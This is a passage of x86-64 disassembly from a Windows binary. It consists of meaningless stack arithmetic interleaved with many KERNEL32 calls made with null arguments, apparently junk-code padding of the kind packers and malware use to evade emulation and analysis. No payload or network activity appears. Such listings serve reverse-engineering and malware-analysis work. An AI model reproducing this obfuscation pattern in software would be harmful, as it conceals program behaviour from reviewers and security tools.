mov qword [rsp + 0xed78], rax
movsx eax, byte [rsp + 0x3b0]
movsx ecx, byte [rsp + 0x1e5]
or eax, ecx
mov byte [rsp + 0x47], al
mov rax, qword [rsp + 0xc3e0]
movzx ecx, al
mov rax, qword [rsp + 0xaeb0]
sar rax, cl
mov qword [rsp + 0xe5c0], rax
movzx eax, word [rsp + 0x2104]
mov word [0x1401c8f84], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
movzx eax, word [rsp + 0x257c]
mov word [rsp + 0x27d8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
movzx eax, byte [0x1401c8a16]
movzx ecx, byte [rsp + 0x39d]
shl eax, cl
mov byte [rsp + 0x2e3], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6b28]
mov ecx, dword [rsp + 0x6b48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x569c], eax
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xe878]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdfc0], rax
lea rcx, [rsp + 0x200c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68e4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rcx, str.SVKjfE5bI3gG91kd9_CR
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2660], ax
mov rax, qword [rsp + 0x9900]
mov rcx, qword [rsp + 0xe858]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcec0]
mov qword [rcx], rax
lea rax, [rsp + 0x659c]
mov qword [rsp + 0xed80], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6b5c], eax
mov r9d, 2
lea r8, [rsp + 0xd208]
mov rdx, qword [rsp + 0xea28]
mov rcx, qword [rsp + 0xcd10]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6530], eax
movzx ecx, word [rsp + 0x21b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27dc], ax
movsx eax, byte [rsp + 0x3f9]
mov rcx, qword [rsp + 0xcc98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a7], al
movzx eax, word [rsp + 0x2354]
mov word [rsp + 0x27e0], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xd530]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8c98], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6960], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6968], eax
lea rdx, [rsp + 0x266b8]
mov rcx, qword [rsp + 0xdb90]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6b60], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbc18]
sar rax, cl
mov qword [rsp + 0xe1b0], rax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2364], ax
mov rcx, qword [rsp + 0xd1b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x2634]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27e4], ax
movzx eax, word [rsp + 0x20d8]
mov word [rsp + 0x27e8], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x627c], eax
mov rax, qword [rsp + 0xe790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xec70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc540]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd698], rax
lea rax, [rsp + 0x38a]
mov qword [rsp + 0xed88], rax
xor edx, edx
mov rax, qword [rsp + 0xd428]
mov rcx, qword [0x1401c8f38]
div qword [rcx]
mov rcx, qword [rsp + 0xcb58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe430]
mov ecx, dword [rsp + 0x6514]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5ab8], eax
mov rax, qword [rsp + 0xd290]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc7f0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xed50]
mov word [rcx], ax
mov rax, qword [rsp + 0xe508]
mov rax, qword [rax]
mov rcx, qword [0x1401c8e20]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c7298], rax
lea rcx, [rsp + 0x1d930]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xcc60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x66a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6560], eax
movzx eax, byte [rsp + 0xcb]
mov byte [rsp + 0x42e], al
mov rax, qword [0x1401c8b30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x13e4], ax
movzx ecx, word [rsp + 0x2020]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x27ec], ax
mov rax, qword [rsp + 0xc838]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe310]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xbfc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x64ec], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov rax, qword [0x1401c8c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe198]
mov qword [rsp + 0xed90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xed90]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xd298], rax
mov rax, qword [rsp + 0xce08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd170]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x21c], al
mov rax, qword [rsp + 0xe730]
mov eax, dword [rax]
mov dword [rsp + 0x6b64], eax
movsx eax, word [rsp + 0x2014]
movsx ecx, word [rsp + 0x2208]
add eax, ecx
mov rcx, qword [rsp + 0xe578]
mov word [rcx], ax
lea rdx, [rsp + 0x267d0]
mov rcx, qword [rsp + 0xec08]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6454], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
movzx eax, word [rsp + 0x910]
movzx ecx, word [rsp + 0x190c]
add eax, ecx
mov rcx, qword [0x1401c8da8]
mov word [rcx], ax
movzx ecx, word [rsp + 0x27d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x21a4], ax
mov rax, qword [rsp + 0xed68]
mov qword [rsp + 0xed98], rax
mov rax, qword [rsp + 0xeaf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb4b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc18], rax
mov rax, qword [rsp + 0xecf0]
mov rcx, qword [rsp + 0xd9f8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdd70], rax
lea rax, [rsp + 0x223c]
mov qword [rsp + 0xeda0], rax
mov rax, qword [0x1401c8f38]
mov rcx, qword [rsp + 0xcce0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe768], rax
movsx eax, byte [rsp + 0x3b2]
movsx ecx, byte [rsp + 0x1c4]
xor eax, ecx
mov byte [rsp + 0x2cb], al
mov rax, qword [rsp + 0xe6d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6464]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcfa8]
mov dword [rcx], eax
mov r9d, 0x1b9d
xor r8d, r8d
lea rdx, [rsp + 0xec88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6b68], eax
mov rax, qword [rsp + 0xddd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
shl eax, cl
mov byte [rsp + 0x3bc], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [rsp + 0xe298]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x65bc], eax
mov rax, qword [rsp + 0xc728]
mov eax, dword [rax]
mov dword [rsp + 0x6b6c], eax
movsx eax, word [rsp + 0x9ac]
movsx ecx, word [0x1401c8bb4]
sar eax, cl
mov word [0x1401c7114], ax
lea rcx, [rsp + 0x20cc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x26610]
mov rcx, qword [rsp + 0xe900]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x676c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66e8], eax
mov rax, qword [rsp + 0xe388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd788]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2524], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x13a4]
mov qword [rsp + 0xeda8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x69d4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0xd328]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401c8f60]
shl rax, cl
mov qword [rsp + 0xed68], rax
mov rax, qword [rsp + 0xdca8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc950]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xae40], rax
movzx ecx, word [rsp + 0x2698]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2078], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6b70], eax
mov eax, dword [rsp + 0x6964]
mov rcx, qword [rsp + 0xcc68]
mov qword [rsp + 0xedb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xcb50]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6850], eax
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov byte [rsp + 0x1a8], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6940], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rax, [rsp + 0x23bc]
mov qword [rsp + 0xedb8], rax
movzx eax, word [rsp + 0x27a4]
mov rcx, qword [0x1401c8bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2010], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6b74], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
mov qword [0x1401c8f88], rax
lea rcx, [rsp + 0x1d6b0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx eax, word [rsp + 0x2178]
mov word [rsp + 0x27f0], ax
lea rcx, [rsp + 0x20a88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xeb08]
mov rcx, qword [rsp + 0xe560]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xb910], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xedc0], rax
mov rax, qword [rsp + 0xd968]
mov rcx, qword [0x1401c8d78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0b0], rax
mov rax, qword [rsp + 0xc400]
mov ecx, dword [rsp + 0x69a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5a80], eax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xba50]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xe9a0]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe108], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6644], eax
lea rax, [rsp + 0x58bc]
mov qword [rsp + 0xedc8], rax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3b7]
sar eax, cl
mov byte [rsp + 0xa0], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov rax, qword [rsp + 0xd978]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xda08]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x403], al
movsx eax, word [rsp + 0x990]
movsx ecx, word [rsp + 0x1cf4]
or eax, ecx
mov word [0x1401c72a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1898]
mov word [rsp + 0x27f4], ax
movzx eax, word [rsp + 0xe28]
movzx ecx, word [rsp + 0x2404]
sub eax, ecx
mov rcx, qword [rsp + 0xe310]
mov word [rcx], ax
lea rax, [rsp + 0x8e8]
mov qword [rsp + 0xedd0], rax
mov rax, qword [rsp + 0xe1d0]
mov rcx, qword [rsp + 0xddb8]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xad00], rax
lea rcx, str.Ml9qvt_4gL3AtU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2518], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movzx eax, byte [rsp + 0x143]
mov byte [rsp + 0x42f], al
mov rax, qword [rsp + 0xcc68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x644c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6728], eax
movsx eax, word [rsp + 0x990]
movsx ecx, word [0x1401c8d44]
sub eax, ecx
mov word [rsp + 0x165c], ax
movzx ecx, word [rsp + 0x1f34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x267c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x20fc]
movzx ecx, word [rsp + 0x216c]
shl eax, cl
mov word [rsp + 0x1494], ax
mov rax, qword [rsp + 0xe0c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe818]
mov qword [rsp + 0xedd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xedd8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c8de0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6958], eax
mov rax, qword [0x1401c8e18]
mov rcx, qword [rsp + 0xe710]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xe870]
mov qword [rcx], rax
mov rax, qword [rsp + 0xeb08]
mov rax, qword [rax]
mov qword [rsp + 0xede0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov rax, qword [rsp + 0xeaf0]
mov rcx, qword [rsp + 0x9eb0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcb40], rax
movzx eax, word [rsp + 0x21a8]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xedd0]
mov word [rcx], ax
mov eax, dword [rsp + 0x578c]
mov ecx, dword [rsp + 0x602c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x58a0], eax
lea rcx, [rsp + 0x20728]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xd500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x235]
xor eax, ecx
mov byte [rsp + 0x40e], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [rsp + 0xdc10]
mov rax, qword [rax]
mov qword [rsp + 0xede8], rax
movsx eax, byte [rsp + 0x3be]
movsx ecx, byte [rsp + 0x3f4]
or eax, ecx
mov byte [rsp + 0x63], al
mov eax, dword [rsp + 0x685c]
movzx ecx, al
mov eax, dword [rsp + 0x6a0c]
shl eax, cl
mov dword [0x1401c8e40], eax
movsx eax, word [rsp + 0x2040]
mov rcx, qword [rsp + 0xc408]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x23d0], ax
mov rax, qword [rsp + 0xc9f0]
movzx eax, word [rax]
mov word [rsp + 0x27f8], ax
lea rcx, [rsp + 0x20cf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r9d, r9d
lea r8, [rsp + 0xccd0]
mov rdx, qword [rsp + 0xd160]
mov rcx, qword [rsp + 0xeb60]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6600], eax
movzx eax, word [rsp + 0x24f0]
movzx ecx, word [rsp + 0x1fd8]
sub eax, ecx
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0xd3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb578]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b28], rax
mov rax, qword [rsp + 0xb490]
mov rcx, qword [rsp + 0xced0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca68], rax
mov rax, qword [rsp + 0xe428]
movsx eax, byte [rax]
imul eax, eax, 0x13
mov byte [rsp + 0x32e], al
mov eax, dword [rsp + 0x5d48]
mov dword [rsp + 0x6b78], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xedf0], rax
lea rcx, [rsp + 0x203c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x16ac]
mov rcx, qword [0x1401c8b30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x27b0], ax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov word [0x1401c8f90], ax
mov rax, qword [rsp + 0xd268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd328]
mov qword [rsp + 0xedf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xedf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaea0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [0x1401c8f18]
movzx ecx, word [rsp + 0x2330]
or eax, ecx
mov word [rsp + 0x1c14], ax
lea rax, [rsp + 0x382]
mov qword [rsp + 0xee00], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xd3b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcb48]
mov qword [rsp + 0xee08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee08]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x5a24], eax
mov rax, qword [0x1401c8f38]
mov rcx, qword [rsp + 0xc4a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb580], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6b7c], eax
mov rax, qword [rsp + 0xd640]
mov eax, dword [rax]
mov dword [rsp + 0x6b80], eax
movsx eax, byte [rsp + 0x38a]
movsx ecx, byte [rsp + 0xf5]
add eax, ecx
mov byte [rsp + 0x1a9], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6698], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x23bc]
mov word [rsp + 0x27fc], ax
movzx eax, word [rsp + 0x20a0]
mov rcx, qword [rsp + 0xd578]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c7240], ax
lea rcx, [rsp + 0x1d8b8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xe6f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd980]
mov qword [rcx], rax
lea rdx, [rsp + 0x26610]
mov rcx, qword [rsp + 0xe4d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6904], eax
mov rax, qword [0x1401c8aa8]
mov rcx, qword [rsp + 0xe3f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xe870]
mov qword [rcx], rax
lea rcx, str.x3v2xu5_fZdHt43
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2800], ax
lea rax, [rsp + 0x2440]
mov qword [rsp + 0xee10], rax
movzx eax, word [rsp + 0x2700]
movzx ecx, word [rsp + 0x18cc]
shl eax, cl
mov word [rsp + 0x1298], ax
movsx eax, byte [rsp + 0x3c0]
mov rcx, qword [rsp + 0xce18]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0xd458]
mov ecx, dword [rsp + 0x5e38]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6914], eax
mov edx, 0x174e
mov rcx, qword [rsp + 0xe090]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x65b8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xee18], rax
mov rax, qword [rsp + 0xb5b8]
mov rcx, qword [rsp + 0xd4d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdc20], rax
mov rax, qword [rsp + 0xa530]
mov qword [rsp + 0xee20], rax
mov r9d, 2
lea r8, [rsp + 0xd330]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xe6e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6b54], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rcx, str.6XBv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2804], ax
mov rcx, qword [rsp + 0xe628]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67b8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xe9d8], rax
mov rax, qword [rsp + 0xebd0]
movzx eax, word [rax]
mov word [0x1401c8f94], ax
mov rcx, qword [rsp + 0xd3c8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movzx eax, word [rsp + 0x2284]
movzx ecx, word [0x1401c8a98]
sub eax, ecx
mov rcx, qword [rsp + 0xeba0]
mov word [rcx], ax
mov rax, qword [rsp + 0xce00]
mov ecx, dword [rsp + 0x5ec4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5e40], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
movzx eax, byte [rsp + 0x221]
movzx ecx, byte [rsp + 0x416]
add eax, ecx
mov byte [rsp + 0x40b], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc020], rax
mov rax, qword [0x1401c8a90]
mov rax, qword [rax]
mov qword [rsp + 0xee28], rax
mov rax, qword [rsp + 0xe010]
mov eax, dword [rax]
imul eax, dword [rsp + 0x58b8]
mov dword [rsp + 0x6a80], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcf18]
mov qword [rsp + 0xee30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee30]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc530], rax
movzx eax, byte [rsp + 0x3d9]
mov byte [rsp + 0x430], al
mov rax, qword [rsp + 0xeb20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24b8]
shl eax, cl
mov rcx, qword [rsp + 0xd8e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd390]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2414]
or eax, ecx
mov word [0x1401c72a4], ax
movzx ecx, word [rsp + 0x2558]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2808], ax
mov rax, qword [rsp + 0xe140]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe8c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9df0], rax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcd00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1678], ax
mov rax, qword [0x1401c8d38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2354]
sub eax, ecx
mov rcx, qword [rsp + 0xc268]
mov word [rcx], ax
mov rax, qword [rsp + 0xe220]
mov qword [rsp + 0xee38], rax
movsx eax, byte [rsp + 0x3fb]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd170]
mov byte [rcx], al
lea rcx, [rsp + 0x1ff78]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd720]
mov qword [rsp + 0xee40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xee40]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa8c0], rax
mov rax, qword [rsp + 0xd660]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69a0]
shr eax, cl
mov dword [rsp + 0x67fc], eax
mov rcx, qword [rsp + 0xdb08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xd1b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1fe0]
or eax, ecx
mov word [rsp + 0x16c8], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xd700]
imul rax, qword [rsp + 0xdae0]
mov rcx, qword [0x1401c8ec8]
mov qword [rcx], rax
lea rax, [rsp + 0x6660]
mov qword [rsp + 0xee48], rax
mov rax, qword [rsp + 0xdf50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xde28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x396], al
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [rsp + 0x280c], ax
mov rax, qword [rsp + 0xc900]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f38], ax
mov rax, qword [rsp + 0xe110]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39e], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xeae0]
mov rcx, qword [rsp + 0xde98]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb1a8], rax
lea rcx, [rsp + 0x203c8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xd2f8]
mov ecx, dword [rsp + 0x6380]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x64d4], eax
lea rax, [rsp + 0x207c]
mov qword [rsp + 0xee50], rax
